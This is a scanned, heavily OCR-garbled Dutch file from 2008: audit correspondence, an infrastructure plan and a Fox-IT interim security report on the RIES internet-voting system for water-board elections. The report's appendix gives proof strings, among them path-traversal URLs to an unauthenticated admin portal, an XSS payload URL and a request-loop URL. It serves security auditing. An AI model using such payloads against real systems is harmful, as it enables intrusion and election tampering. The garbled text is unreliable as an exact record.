- ls er een beschrijving van RIES op basis waarvan Cryptomathic haar onderzoek heeft verricht?

- In het overzicht is een rapport beveiligingstests KOA opgenomen ("security scan ll KOA") ; is dat

document ook beschikbaar?
- RIES-design-info-v092.pdf mist de bijlagen;
- . Bij het testen van de webapplicatie missen we nu de broncode, is die al beschikbaar?

Dank!

c

É'., ,i .r 
;

T

È

5-9-2008
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Van:

Verzonden:

Aan:

1pa?^rtan gO iuni 2008 13:07

Onderwerp: Nadere documenten RIES

ID
In navolging van de brief aan de Staatssecretaris, hebben wij bijgevoegde documenten en
broncode aan Fox-it nagezonden, voor de audit van RIES internetstemmen.

Met vriendelijke groet,

Programmamanager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130
1135 ZK Edam

5-9-2008
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lmplementatie RIES 2008 server- en netwerkinfrastructuur

In dit document worden kort de onderdelen van de RIES 2008 infrastructuur
beschreven waar eind juni 2008 nog aan gewerkt wordt. Het betreft hier
aanvullingen en vernieuwingen van de bestaande infrastructuur (zoals gebruikt bij
verkiezingen in2OO4 en 2006). Nadruk in dit document is dat betrokken partijen
zich tot het uiterste inspannen teneinde een veilige en betrouwbare
stemvoorziening te leveren tijdens de stemperiode en de voorbereidings periode
voorafgaand aan de stemperiode.

1. Provisioning (installatie, softwaredistributie en configuratiemanagement)

Alle RIES-servers en beheer-laptops zullen vanuit een centraal provisoning-
systeem geinstalleerd en geconfigureerd worden. Elk type server zal vanuit de
provisoning server een minimale installatie krijgen met alleen die onderdelen van
het OS die strict noodzakelijk zijn en alleen de voor de beoogde functie
noodzakelijke software-pakketten. Ook de specifieke configuratie per type
machine zal vanuit die provisioning server plaatsvinden (naar aanleiding van de
resultaten van de zo genaamde system hardening. Daarbij wordt gebruik
gemaakt van functie- en locatie-specifieke profielen. Ook security fixes kunnen
via het provisioning systeem op een uniforme en gecontroleerde wijze verspreid
worden. Provisioning vindt plaats oplvia het interne afgeschermde RIES-
beheernetwerk, Ingebruikname van dit systeem wordt eind juni 2008 verwacht.

De baseline die voor de inrichting van servers en andere systemen ten behoeve
van het RIES system geldt is dat alleen onderdelen, autorisaties enz die nodig
zijn, zowel qua OS als firewall-rules als applicaties, worden
toegestaan/geïnstalleerd. Verder gelden de in bestaande documentatie genoemde
ontwerp-principes.

De RIES serversystemen kunnen onderverdeeld worden in drie categorieen, Voor
elke categorie gelden de volgende versies voor OS (Operating System):

- Frontends: FreeBSD 6.3 (laatste versie inclusief laatste vendor-updates tot aan
freeze)

- Backends: Red Hat RHEL4.6 (laatste versie inclusief laatste vendor-updates tot
aan freeze)

- Ondersteunende servers: Red Hat RHEL4.6 (laatste versie inclusief laatste
vendor-updates tot aan freeze)

Voor applicatiesoftware boven het OS (uitgezonderd de RIES applicaties zelf)
geldt dat daar de door de vendor geleverde en gesupporte versÍes gebruikt



worden. In figuur 1 staan de cruciale componenten voor een typische set van
fro nte n d/ba cke n d -serve r.

Front-end server Back-end server

Apache 2.x Tomcat 5.5.x

MySQL 4.1.x

Java-lBM 1.5.x

dynamische content

FreeBSD 6.3 RHEL 4.6 AS

I Figu
ur I : Softwarelevels voor VotingWindow en Portal servers.

2, Change management procedure

Na freeze van de situatie in augustus: vendor security updates op gecontroleerde
wijze aanbrengen conform een change management procedure waarbij elke
update beoordeeld wordt op impact/risico alvorens de update aangebracht wordt.

3. Monitoring, logging, anomalie-detectie

De in 2004 en 2006 gebruikte systeem- en netwerkmonitoring wordt opnieuw
geïmplementeerd waarbij alle systeem lokaal gemonitord worden en via een
centraal systeem worden verzameld en weergegeven. Dit centrale systeem
monitort ook de beschikbaarheid van machines en services op het interne
beheernetwerk. De beschikbaarheidsmonitoring vanuit het Internet blijft
(uitgezonderd toevoegen van nieuwe te monitoren systemen) ongewijzigd.

Naast systeem en netwerkmon itoring zal systeemlogging van alle servers zowel
per lokatie op een lokale logserver als op 1 centrale (lokatieonafhankelijke)
logserver verzameld worden. Logging van gebruikersactiviteit is expliciet zonder
potentieel identificerende informatie (IP-adres, browser etc). Logging van
beheerdersactiviteiten is expliciet inclusief identificerende informatie (IP-adres,
beheerlaptop etc). Voor de (de-)centrale logservers geldt een receive-only policy.
Oplevering staat voor augustus 2008 gepland.

Aan de servers wordt "tripwire" functionaliteit toegevoegd, volgens planrrrng begin
September. Dit is een vorm van checksumming op de geïnstalleerde
applicatiesoftware op de verschillende servers waarmee afwijkingen/aanpassingen



aan de systemen gedetecteerd kunnen worden.

Het eind augustus op te leveren lDs-system detecteert anomalieen in het
verkeer, voornamelijk afwijkend verkeer op ongebruikte poorten of via
ongeplande routes.

4. Vernieuwing beheerlaptops

Vervanging van de huidige beheerlaptops, inclusief opnieuw inrichten (zie ook 1.)
is eind juli 2008 gepland.
Beheerlaptops zijn allen bruikbaar met hardware matige VPN verbinding
(verbonden met M-Guard - zie afbeelding met netwerk topologie). De
beheerlaptops zijn persoonsgebonden en verstrekking van reserve beheerlaptops
(uit beveiligde opslag) gaat na registratie,

5. Inrichten lokatie Tilburg

Als derde hoofdlokatie naast Amsterdam en Nijmegen zal in augustus 2008
Tilburg in gebruik genomen worden.

6. Uitbreiding en vernieuwing beheernetwerk

Mede gekoppeld aan de ingebruikname van een dedicated OPN (Optical Private
Network, zie bijlage) en oplevering van lokatie Tilburg zal het afgeschermde
beheernetwerk aangepast worden. Dit behelst uitbreiding/herinrichting van het
mGuard-gebaseerde VPN voor toegang met de dedicated beheerlaptops,
Koppelingen tussen lokaties die nu via het mGuard-VPN lopen worden overgezet
naar het begin augustus op te leveren OPN. Dit OPN bestaat uit een ring van
protected lichtpaden tussen de vier lokaties aangevuld met twee unprotected
gekruiste lichtpaden om bij uitval maximaal twee lokaties altijd altijd de overige
lokaties onderling bereikbaar te laten zijn. Oplevering staat 16 augustus 2008
gepland.

7. RIPOCS servers en housing

RIPOCS wordt onder specifieke randvoorwaarden en beveiligingseisen
geïnstalleerd . Specifiek zal RIPOCS in een speciale braakbestendige kluiskast
worden geïnstalleerd.
Definitieve inrichting van de RIPOCS-servers zal eind augustus plaats vinden (dit

hangt mede af van uitgewerkte beheer en toegangsprocedure) .

B. ROCMIS

Stand alonemachine, wordt opgeslagen in een fysieke kluis met vergelijkbare



veiligheidswaarborgen als RIPOCS.

9. Portal

Definitieve implementatie van de Portal-functionaliteit (dubbele uitvoering met
hot-standby) staat voor eind augustus 2008 gepland. Toegang tot de Portal-
server(s) zal dan alleen nog maar kunnen vanaf een beperkte set lP-adressen (op
te leveren door de Waterschappen).

10. Failover/redundancy

Het huidige failover/reduncy mechanisme voor externe toegang tot de
stemservers is gebaseerd op een eenvoudig maar robuust round-robin DNS-
mechanisme. Een aanvullend mechanisme gebaseerd op flowbased anycast zal,
bij goed resultaat van de tests, naar verwachting eind augustus geimplementeerd
worden,

Performance, tuning en capaciteitsplanning

Tot uiterlijk eind oktober 2008 zullen doorlopend performance/quality-metingen
gedaan worden op basis waarvan bepaald wordt of er mogelijk extra capaciteit
(hardware) voor de stemserver-functionaliteit ingezet moet worden. Extra
capaciteit zal geïmplementeerd worden onder dezelfde condities en met dezelfde
instellingen als bij de reeds eerder opgeleverde systemen. Dit wordt geborgd door
aanschaf van identieke hardware en het provisioning principe (zie ook 1.).

11.

11.

Voor toegang voor de kiezers is het
Waterschapshuis. Gepland is om dit
met de juiste SSL certificaten.

Ingebruikname stem.nl domein (inclusief bijbehorende cetificaten)

domein www.stem.nl aangeschaft door Het
medio augustus in gebruik te nemen, samen



Bijlage: OPN

Vijf voordelen lichtpaden
Capaciteit
SURFneto biedt gebruikers lichtpaden van '150 Mbivs, 600 Mbius, 1 Gbivs. Hoewel het netwerk van SURFnet ook snelheden van 10
Gigabits per seconde kan realiseren, is de apparatuur in het netwerk van de aangesloten instellingen hier doorgaans nog niet op
berekend.

Kvraliteit
De optische apparatuur die lichtpaden mogelijk maakt, is eenvoudiger en Íobuuster dan de gebÍuikel|Jke router en switches die voor

lP-verkeer worden gebruikt. Ook worden d9 datastromen niet gehinderd door ander verkeer op het netwerk, maar gaan ze via
gescheiden lichtpaden op hoge snelheid van vezeflder naar ontvanger. Daardoor is het verkeer op het netwerk ook stabieler,
Gemeten over de maximale afstand binnen Nederland tussen twee poorten bedraagt de maximale round trip time (RTT) van een
lichtpad minder dan 20 milliseconde.

Veiligheid
Daar waar internetverbindingen risico's van inbraak of afluisteren kennen, is dat bij lichtpaden nagenoeg onmogelijk, Het is namelijk
êen directe verbinding tussen twee punten op de optische laag van het netwerk.

Transparantie
Een lichtpad is onafhankelijk van d€ daarover te gebruiken protocollen. SURFnet biedt lichtpaden standaard aan mel een Ethernet
koppelvlak. Andere pÍotocollen zoals Fiber Channel kunnen als maatwerk worden aangeboden,

Internationale uitbreidbaarheld
Hoeu,/el SURFneto een Nederlands netweÍk is, zijn lichtpaden niet beperkt tot onze grenzen. Dankzij de het optische knooppunt

\!9!@1!q[! in nmsterdam dat sURFnet heeft gerealiseeÍd, zijn koppelingen mogelijk met een gÍoot aantal

ondezoeksnetwerken in Europa, ds VS, Azië en Australië.

De komende jaren zullen de mogelijkheden voor connecliviteit van internationale lichlpaden naar veMachting aanzienlijk groter

wordeo doordat zorrvel via het Europese onderzoeksnetwerk GEANT2 ab via de clobal Lambda Integratod Facilitv @!El
steeds meer netwerken woÍden ontsloten.



pagina I van I

RIES, zijnde

Verzonden:

Aan:

Onderwerp: EindrêFport, broncode review

Bijgevoegd het resultaat van een broncode onderzoek naar een applicatie van
RIPOCS. Het document zal ook per post worden toegezonden.

Met vriendelijke groet,

Programmamanager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130
1135 ZK Edam

maandag 30 juni 2008 12:38

www, hetwaterschap

5-9-2008
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Van:

Verzonden:

Aan:

Onderwerp: Nadere documenten RIES

I
In navolging van de brief aan de Staatssecretaris, hebben
broncode aan Fox-it nagezonden, voor de audit van RIES

Met vriendelijke groet,

Programmamanager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130
Lt35 ZK Edam

wij bijgevoegde documenten en
internetstem men.

ëtWf,erschapshuis.nl

5-9-2008
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Van:

Onderwerp: Een laatste nader document voor RIES

Een laatste nazending van een document over RIES:
- change mangement procedure.

Met vriendelijke groet,

Prog ram ma ma nager

Het Waterschapshuis
p/a Breestraat 59, Leiden

s-9-2008



Samenvatting
Het Ministerie van Verkeer en Waterstaat heeft Fox-IT gevraagd te assisteren bij het beoordelen van de

internetstemvoorziening die door de waterschappen is ontworpen voor de waterschapsverkiezingen van
november 2008. De organisatie waarin de waterschappen samenwerken, het Waterschapshuis, heeft
daartoe documentatie ter beschikking gesteld en medewerking verleend aan aanvullend onderzoek door
Fox-IT.

Op basis van dit onderzoek conslateeft Fox-IT dat de internetstemvoorziening in opzet een elegant en

doordacht systeem voor intemetstemmen is. Echter, over de huidige uitwerking van het concept moet
worden vastqesteld dat dit kwaadwillenden diverse mogelijkheden biedt om de uitslag te beïnvloeden, het

verkieàngspioc"s te saboteren en/of om binnen afzienbare tijd te hedeiden wie op wie heeft gestemd'

Deze constatering is gebaseerd op de volgende waarnemlngen:

. Het gebruik van een gedateerde versleutelingsmethode in combinatie met het opnemen van

individuele burgerservicenummers (BSN) in de versleutelde verkiezingsuitslag betekent dat het
stemgeheim máximaal tot 2030 kan worden gewaarborgd. Met andere woorden, uiterlijk in 2030,

doch waarschijnlijk (veel) eerder, zal het mogelijk zijn te reconstrueren welke kiezer op welke

kandidaat stemde in 2008.

. Met de kracht van de huidige generatie PC's is het berekenen van geldige stemcodes haalbaar

binnen maximaal 30 uur. De informatie die hiervoor nodig is wordt voorafgaand aan de

stemperiode gepubliceerd, waarna de berekening kan starten, Aangezien de stemperiode twee

weken duurt iou een kiezerdie over de juÍste software beschikt minimaal 11 geldige stemmen
kunnen uitbrengen op een kandidaat naar keuze.

Kwaadwillenden die de controle hebben over meerdere PC's en/of gespecialiseerde apparatuur
Kunnen evenredig meer stemmen uitbrengen. Er zijn gevallen bekend van cybercriminelen die

meer dan een milioen computers onder hun controle wisten te krijgen (1)(2), Met de in dit

document beschreven methode zouden dergelijke criminelen de uitslag van de

waterschapsverkiezingen vrijwel volledig kunnen controleren.

. De huidige implementatie van het internetstemsysteem (het programma dat de internetstemsite
en bijbeËorende schermen voor beheerders en stembureaus zoals gebruikt in de ketentest juni

2OOg) veÉoont beveiligingsproblemen waardoor diverse controlemaatregelen in het

verkiezingsproces tunien worden omzeild. Zo was het voor de onderzoekers van Fox-IT mogelijk

om via het internet toegang te krijgen tot diverse beheerschermen waarin bijvoorbeeld de

verkiezingen konden wórden stopgezet, en om via deze beheerschermen de database met

uitgebrachte stemmen uit te lezen en te manipuleren.

Tot slot is het van belang te vermelden dat gedurende de periode van onderzoek (juni 2008)

oordeelsvorming niet mogelijk was rnet betrekking tot de beveiliging van gebruikte netwerk- en

serverinfrastructuren, "-íg"iien 
deze nog slechts in voorlopige versies beschíkbaar waren. ook een

oordeel over de geplande ópzet is niet te geven aangezien ontwerpdocumentatie voor netwerken en

serversystemen slechts op hoofdlijnen beschikbaar was,
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1 Inleiding

7,7 Status van deze raPPortage
In opdracht van het Ministerie van Verkeer en Waterstaat voert Fox-IT een onderzoek uit naar de

internetstemvoorziening die de waterschappen voorbereiden voor de waterschapsverkiezingen van

november 200g. In deze tussenrapportage stellen wij u graag op de hoogte van onze voorlopige
bevindingen.

Deze bevindingen worden op dit moment nog nader onderzocht en zijn nog in diverse stadia van toetsing

en afstemming. Dit tussenadvies mag dan ook niet worden opgevat als definitieve rapportage, slechts om

een beeld te geven van de huidige stánd van het onderzoek. In het definitieve rappoft kunnen elk van de

genoemde bevindingen gewijzigá of in het geheel niet terugkeren. Ook kunnen nog bevindingen worden

toegevoegd.

7,2 Aanpak
Op basis van de aanvankelijk d .d. 2l mei 2008 door het Waterschapshuis aangeleverde documentatie

hebben wij vastgesteld waar naar onze mening nader onderzoek noodzakelijk was om een gefundeerd

advies te kunnen geven. De belangrijkste gebieden waar dit tot bevindingen leidt zijn:

a. Een technisch onderzoek naar de beveiliging van de actuele versies van de stemsite en de

achterliggende technische componenten zoals netwerken, servers, databases etc.;

b. Een theoietisch onderzoek naar de cryptografische fundamenten van het systeem.

In overleg met het Ministerie en het Waterschapshuis zijn interviews gehouden met de ontwerpers,

bouwers en beheerders van het voorgestelde internetstemsysteem, en zijn beveiligingstests uitgevoerd
gedurende het "ketenonderzoek" dat in de maand juni heeft plaatsgevonden'

7,3 Obiecten van onderzoek
Een problematiek waarmee Fox-IT werd geconfronteerd bij het uitvoeren van het onderzoek is dat de

internetstemvoorziening op dit moment nog sterk in ontwikkeling is, Dat betekent dat veel van de

documentatie met betrekking tot eerder onderzoek in meer of mindere mate verouderd is, m.a.w. geen

betrekking meer heeft op de huidige versie van het ontwerp en de implementatie.

Derhalve is onderzoek uitgevoerd naar:

- Het systeemontwerp zoals dat door het Waterschapshuis d,d, 21 mei 2008 aan Fox-IT is

aangeleverd (RIES-2008: Design Information for purposes of evaluation, auteur: Piet Maclaine

Pont, MullPon vof, voor Het Waterschapshuis, Versie 0.92);
- De internetstemsite, actief op http://stem.surfnet.nl/ gedurende de tweede ketentest, van 16 t/m

24 juni 2008.

7,4 Opbouw van dit document
Dit document geeft in hoofdstuk 2 algemene (voorlopige) conclusies van het onderzoek zoals dat er op

dit moment (30 juni 2008) voor staat. In drie bijlagen wordt vervolgens specifieker ingegaan op de

voorlopige bevindingen.

7.5 Nog niet volledige onderzoeksresultaten
Tot 1 juli kan het Waterschapshuis documentatie aanleveren ter ondersteuning van de bewering dat de

concept-internetstemvoorziening voldoet aan de wet- en regelgeving en de aanbevelingen van de Raad

van Europa. De inschatting van Fox-IT van deze documenten kan dan ook nog niet worden gegeven op
dit moment.

Ook is Fox-IT nog in overleg met het Waterschapshuis over een beveiligingstest van het beheerportal
voor de Waterschappen, die in de test tijdens het tweede ketenonderzoek ontbrak. Ook heeft het
Waterschapshuis nog niet op alle door Fox-IT gedane voorlopige bevindingen kunnen reageren, waardoor
ook dit aspect in deze tussenrapportage nog deels ontbreekt'
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2 Algemene voorlopige conclusies
Op dit moment luiden de belangrijkste technische conclusies van Fox-IT voorlopiq als volgtr

2,7 VeilÍgheid internefstemsife
- In de internetstemsite zelf lijken de conclusies en aanbevelingen van eerdere reviews op een

adequate manier te zijn opgevolgd. Naast enkele kleinere aandachtspunten heeft Fox-IT één
tamelijk ernstige onvolkomenheid in de site geconstateerd,

Deze onvolkomenheid bestaat erin dat de stemkeuze van de kiezer aan het stembureau ter
kennis kan komen als de kiezer niet op'Stemmen' maar op'Stoppen' klikt. De site doet veel
moeite om juíst te voorkomen dat het stembureau individuele stemmen kan inzien, echter door
een onzorgvuldige ímplementatie van de knop'Stoppen' kan deze informatie toch naar het
stembureau worden verstuurd.

- Via de internetstemsite trof Fox-IT beheerschermen aan waar zonder het invoeren van
wachtwoorden willekeurige verkiezingen konden worden gestart en gestopt, en waar
tussenuitslagen konden worden aangemaakt.

- Deze beheerschermen vertoonden ernstige gebreken in de beveiliging waardoor de gehele
database met (versleutelde) uitgebrachte stemmen kon worden uitgelezen via het internet. Het is
niet uit te sluiten dat op deze manier ook schrijftoegang tot de database kan worden verkregen.

Navraag bij het Waterschapshuis heeft geleerd dat het hier niet ging om beheerschermen ten
behoeve van medewerkers van de waterschappen maar om noodschermen voor technisch
beheerders, die alleen op de fysieke locatie van de stemservers toegankelijk horen te zijn.

Het feit dat deze schermen via het internet toegankelijk waren werd veroorzaakt door het feit dat
systeemsoftware nog niet up-to-date was gebracht, en dat de noodschermen op dezelfde seÍvers
zijn ondergebracht als de internetstemmenapplicatie.

- Conform eerder gedane bevindingen door anderen constateert Fox-IT dat weinig tot geen actuele
documentatie beschikbaar is van server- en netwerkconfiguraties in het achterliggende netwerk.
Het is daardoor moeilijk om een oordeel te vormen.

Het Waterschapshuis heeft nadere documentatie toegezegd, waarbij moet worden opgemerkt dat
pas in augustus definitief over de netwerk- en seryerconfiguratie zal worden besloten.

2.2 Cryptografisch fundament
In aanvulling op bevindingen die in 2004 zijn gedaan door Cryptomathic en in 2008 door EiPSI
constateeft Fox-IT het volgende:

- De cryptografiestandaard die wordt gebruikt in de internetstemvoorziening is door de vaststeller
van de standaard, het Amerikaanse National Institute for Standards in Technology (NIST), niet
meer te vertrouwen na 2030. Dat betekent dat vanaf naar schatting 2030 er organisaties bestaan
die over zodanige rekenkracht beschikken dat dan kan worden vastgesteld wat een kiezer in 2008
bij de waterschapsverkiezingen heeft gestemd, gegeven het BSN-nummer van die individuele
kiezer.

- Het is mogelijk om binnen de duur van de verkiezingen (2 weken), tenminste 1 geldige stem op
een gegeven kandidaat te berekenen, op basis van de vooraf gepubliceerde
kandidaat/kiezercombinaties, met behulp van apparatuur ter waarde van maximaal 12.000 euro,

Bovenstaande bevindingen worden op dit moment nog nader onderzocht en zijn nog in diverse stadia van
toetsing en afstemming. Dit tussenadvies mag dan ook niet worden opgevat als definitieve rapportage,
slechts om een beeld te geven van de huidige stand van het onderzoek. In het definitieve rapport kunnen
elk van de genoemde bevindingen gewijzigd of in het geheel niet terugkeren. Ook kunnen nog
bevindingen worden toegevoegd.
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Appendix 1 Bevindingen beveiligingstest stem.surfnet.nl
Deze bijlage bevat de bevindingen gedaan tijdens de beveiligingstest die Fox-IT heeft uitgevoerd tijdens
de tweede ketentest, tussen 16 en 24 juni 2008. Waar nodig zijn de bevindingen bijgesteld op basis van
een reactie van het Waterschapshuts.

Bevinding 1.1
De geselecteerde paftij en kandidaat worden meegestuurd naar de server wanneer tijdens het
kiezên het stemproces wordt afgebroken of de keuze wordt gewijzigd. De informatie wordt
meegestuurd in respectievelijk de parameters radio-group en candidate.

Rísico
Hoewel het systeem grote moeite doet om de feitelijke stem van de kiezer niet zichtbaar te laten
zijn voor de stemserver gebeurt dat op eenvoudige wijze toch als de kiezer op een verkeerde
button klikt.

Bewijs
Door het stemproces af te breken op het moment dat een kandidaat is geselecteerd worden er
diverse parameters, waaronder de op dat moment geselecteerde partij en kandidaat naar de server
gestuurd. De applicatie verstuurt de volgende HTTP-aanvraag als de gebruiker wil annuleren:

POST /server HTTP/7.I
Host: stem. surfnet . nl
User-Agent: Mozilla/5. O (X11; U; Linux i6B6; en-US; rv:1.8.1.14)
Gecko /20080419 Ubuntu/8.04 (hardy) Firef ox /2.0.0.14
^ ^^^hf 

.nuugvu,
textT xml, appl i cat t on /xml, appl icat lon /xhtml +xml, text /fttmt i q=0 - 9, text /pla i n

; q:0 . 8, image / png, * / *; q:o . 5

Accept-Lanquage: en-us, en; q:0 .5
Accept-Encoding : gzLP, def Iate
Accept-Charset : ISO-8859-1, utf-8;Q:0. -1, * i q:0.1
Keep-Alive: 300
Connection: keep-alive
Referer: https: //stem. surfnet. nllserver
Content-Type : application/x-www-form-urlencoded
Content-Length: 694

page id:Ao 2 5 C e I id:8 O O 1 & act i o nreq:stope I anguag'e:NL& s es s i ondat a:aWdub3 J I c3 Rh

dHV z pW Zh bHN I Jn J I c 3 Bp Z D 1 mY 2 QxN DRmNTUwN DF h Z TU 3 N 2 RmYmI 1 YThkNT I 2MT c 1 YyY % 3 D a t e
xt_group:Se le cteer +de + I i j st +van+uw+voorkeur+of + se I e ct eer +%2lbLanco+ stem% 2

7%3Cbr%3E+en+kIik+op+%2lVerder+21.%3Cbr%3E+&text-candidate:Maak+uw+keuze+
en+kIik+op+%2-7Yerd.er%27. &text_group_inf omsg:Er+zi jn+nog+meer+1i jstenZ2C%3
Cbr % 2F e"3E + k I i k +op +de + s cro I l- bar + - -
% 3 E & te xt_ca nd idat e_j- n f oms g:E y + z rj n + n o g + mee r + k a nd i dat en%2C% 3Cbr Z 2F Z3 E + k I i k
+op+de+scrol-lbar+--
% 3 E % 3Cbr % 3 E % 3 Cbr% 3 E & text-ba ckbutt on:Wi ) z ),qene r ad i o-group: B 0 0 1 0 0 0 1 0 3 % 3A0 3 %

3ÀvÍater+Ja*2C*natuurlijkecandidate:8o01000103%3A03%3A!{aterfJat2C*natuurli
jkt3A800100010303t3ALe1iveldt2C+K . L . N . +%28M*2 9t3AVinkeveen
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Bevinding 1.2
De Apache Tomcat webservice die bereikbaar is via de systemen 195.169.724.82 en
192 . B7 . 106 .I94 geeft het versienummer van de software weer.

Risico
Met kennis van het versienummer van de Apache Tomcat webservice kan door kwaadwillende
gebruikers gericht worden gezocht naar bekende kwetsbaarheden voor de betreffende versie van
de Apache webseruice.

Bewijs
Wanneer een niet-bestaande pagina wordt opgevraagd in één van de directories /test of
/server, wordt de volgende regel onderaan de foutpagina weergegeven:

Apache Tomcat /5.5.9

Het is denkbaar dat het gegeven versienummer niet het daadwerkelijke versienummer is, o.m.
doordat het gebruikte besturingssysteem vaak beveiligingsupdates aanbrengt in oude versies
zonder versienummers te updaten. Uit tests op bekende beveiligingsproblemen is echter gebleken
dat daadwerkelijk versie 5,5.9 (of ouder) van Apache Tomcat in gebruik is.

Bevinding 1.3
De gebruikte versie van de Apache Tomcat webservice is verouderd en bevat meerdere publiekelijk
bekende kwetsbaarheden.

Risico
De gebruikte Apache Tomcat versie bevat meerdere publiekelijk bekende kwetsbaarheden. Enkele
van deze kwetsbaarheden maken het mogelijk om informatie over de server of de webapplicatie op
te vragen, Andere kwetsbaarheden stellen een kwaadwillende mogelijk in staat om Cross-Site
Scripting (XSS) of Denial of Service (DoS) aanvallen uit te voeren.

Of de kwetsbaarheden daadwerkelijk kunnen worden uitgebuit hangt van de configuratie
van de webservice af. Desondanks is Fox-IT van mening dat het gebruik van een verouderde
Apache Tomcat versie een hoog risico met zich meebrengt.

Bewijs
De volgende versie van de Apache Tomcat webservice is door Fox-IT gedetecteerd:

Apache Tomcat /5.5.9

Een overzicht van de bekende kwetsbaarheden voor deze versie van Tomcat is te vinden
op de volgende pagina:

http z / /tomcat.apache. org/ security-5. html

Bevindin g 1.4
Het is mogelijk om van enkele directories op de Apache Tomcat server de inhoud op te vragen.

Rísíco
Het toestaan van directory listings stelt gebruikers in staat om de aanwezige bestanden in de
betreffende directory te bekijken, Deze bestanden kunnen gevoelige informatie bevatten,

Bewijs
De volgende URL's tonen aan dat de Apache Tomcat webservice directory listings toestaat:

https : //stem. surfnet .nL/server /%5c., / css/
https : / / stem. surfnet .nI/ server / %5c. . /images/
https : / / sLem. surf net. nl-lserver /%5c. . /work/

In de directory work trof Fox-IT de volgende bestanden aan welke mogelijk gevoelige informatie
bevatten:

sessions. ser
tldCache. ser
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Bevinding 1.5
De inhoud van de tabel in de kwitantie (PDF-bestand) kan door de gebruiker worden bepaald. De

inhoud van de parameter rsinf o in de HTTP-aanvraag bepaalt de inhoud van de tabel in de PDF.

Risíco
Indien een kwaadwillende in staat is om de HTTP-aanvraag voor de kwitantie te manipuleren dan
kan deze de inhoud van de PDF deels beïnvloeden, waardoor het vertrouwen in het RIES

internetstembureau mogelijk kan worden misbruikt voor bijvoorbeeld phishing-aanvallen.
Bewijs

De volgende URL toont een gemanipuleerde kwitantie waarbij de waarde van
anf rr tkrevestiging staat ingesteld op http: / /www. f ox-it. com:\JllLVClrr9D

https : / / st-em. surf net . n1lpdf ?ts inf o:8 O O 10OO 1 | Hoogheemraadschap%2 0van %2 0Ri 1

nland | 7 00a 7 6ba928c60 36 -
d7f 181f 9ccc44df 1 l%6Be"l4Zl4%10%3aZ2f Z2fZ11211e"J1Z2e%66"66f21822de"69e"J4%2e\6
3%6f%6d

Bevinding 1.6
Het is mogelijk om de technische stemcodes te achterhalen uit de browsergeschiedenis van
kiezers. Bij het downloaden van de kwitantie wordt de parameter tsinfo als GET-variabele naar

de server verstuurd.
Risico

Een kwaadwillende die fysiek toegang heeft tot de computer van een kiezer kan mogelijk de

technische stemcodes van deze kiezer achterhalen uit de browsergeschiedenis. In combinatie met
eventuele kwetsbaarheden in de browser kan deze kwetsbaarheid mogelijk ook van afstand worden
misbruikt,

Bewijs
Na het succesvol uitvoeren van een stem en het downloaden van een kwitantie bleef de volgende
URL achter in de browsergeschiedenis:

https: //stem. surfnet. nI/pdf?tsinfo:BO01O00f I Hoogheemraadschap%2Ovan%2ORij
nland | 700a7 6ba928c6036 -d7 f 1 8 1 f 9ccc4 4df 1 | 6 DT2CFFA

Bevindin g L.7
De RIES Beheer Poftal kan geopend worden vanaf elke plaats op het internet, zonder authenticatie.

Uit de reactie van het Waterschapshuis blijkt dat het hier gaat om noodschermen voor technisch
beheerders die alleen op de fysieke locaties van de stemservers bereikbaar zouden moeten zijn'
Het betreft dus niet de poftalschermen voor de stembureaus bij de waterschappen.

Risico
De RIES Beheer Portal stelt kwaadwillenden in staat om onder andere verkiezingen te staften en te
stoppen, statusoverzichten op te vragen en resultaten te bekijken.

Bewijs
De volgende URL toont aan dat de RIES Beheer Portal bereikbaar is vanaf het internet:

https : / / sLem. surfnet .nL/ server /25C. . /admin/

Bevinding 1.8
De RIES Beheer Portal bevat kwetsbaarheden die een Cross Site Scripting (XSS) aanval mogelijk
maken. Gebruikersinvoer wordt zonder validatie op de betreffende pagina's overgenomen,

Risico
XSS kan gebruikt worden om de bij een gebruiker getoonde website te veranderen of Javascript
code uit te voeren op de computer van een gebruiker, waarbij het lijkt alsof deze code afkomstig is

van de RIES Beheer Portal, Het is bijvoorbeeld mogelijk om pagina's aan te passen zodat gegevens
die worden ingevoerd in wachtwoordvelden niet alleen naar de RIES Beheer Portal gestuurd
worden, maar ook naar een aanvaller, Geavanceerdere toepassingen van XSS kunnen het voor
aanvallers mogelijk maken om de computer van de gebruiker als een zogeheten 'stepping stone'te
gebruiken om verdere aanvallen uit te voeren op het interne netwerk van de gebruiker.
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Bewijs
De volgende URL toont aan dat de RIES Beheer Portal kwetsbaar is voor XSS:

https: //stem. surf net .nL/ server /25C. . /admi-n/server?req:aesul-ts&subreg:stor
e&pageid:select&eI id:8 00 1 <script>al-ert (' XSS' ) < / script>

Bevinding 1.9
Het is mogelijk om met een HTTP-aanvraag een oneindige reeks van HTTP-aanvragen te
veroorzaken. Dit gedrag treedt op wanneer een HTTP-aanvraag naar de Apache Tomcat service
wordt verstuurd waarin een directory wordt opgevraagd die begint met een';'-teken.

Rísico
Deze zogenaamde "loop" van HTTP-aanvragen en antwoorden kan een onnodig hoge belasting van
de webservices veroorzaken. Mogelijk kan deze kwetsbaarheid door een aanvaller worden
misbruikt om een Denial of Service (DoS) van de RIES stemserver te versterken.

Bewijs
De volgende URL veroorzaakt een loop van HTTP-aanvragen naar de RIES stemserver:

https: //stem. surfnet .nL/ server /25C. . / ; tmages/

Bevinding 1.1O
De RIES Beheer Portal geeft een fysiek pad op de server vrij. Het fysieke pad wordt weergegeven
in een foutmelding,

Risico
De weergeven van teveel informatie in foutmeldingen helpt aanvallers om de applicatie of de
achterliggende structuur in kaaft te brengen. De informatie kan mogelijk worden gebruikt in
verdere aanvallen.

Bewijs
De volgende URL geeft een fysiek pad op de server vn;:

https z / / sLem. surfnet .nI/ server /%5C. . /admin/server?req:rssults&subreQ:stor
e&pageid:selecteel id:800 1 *

Het fysieke pad dat wordt vrijgegeven is:

/data /ries /work /report s /

Bevinding 1,11
De RIES Beheer Portal is kwetsbaar voor SQL injection, Gebruikersinvoer wordt zonder validatie of
met onvoldoende validatie overgenomen in database queries.

Risico
Een kwaadwillende gebruiker kan met behulp van SQL injection de achterliggende database
rechtstreeks aanspreken om zo gegevens in de database op te vragen, waardoor onder andere de
vertrouwelijkheid van de informatie in de database in gevaar komt. Daarnaast kan deze
kwetsbaarheid worden misbruikt om verdere informatie over de gebruikte database software en
het besturingssysteem te verkrijgen, waarmee mogelijk verdere toegang tot de database of de
server kan worden verkregen. Niet uitgesloten is dat deze kwetsbaarheid het ook mogelijk maakt
om gegevens in de database te wijzigen of te venrvijderen,

Bewíjs
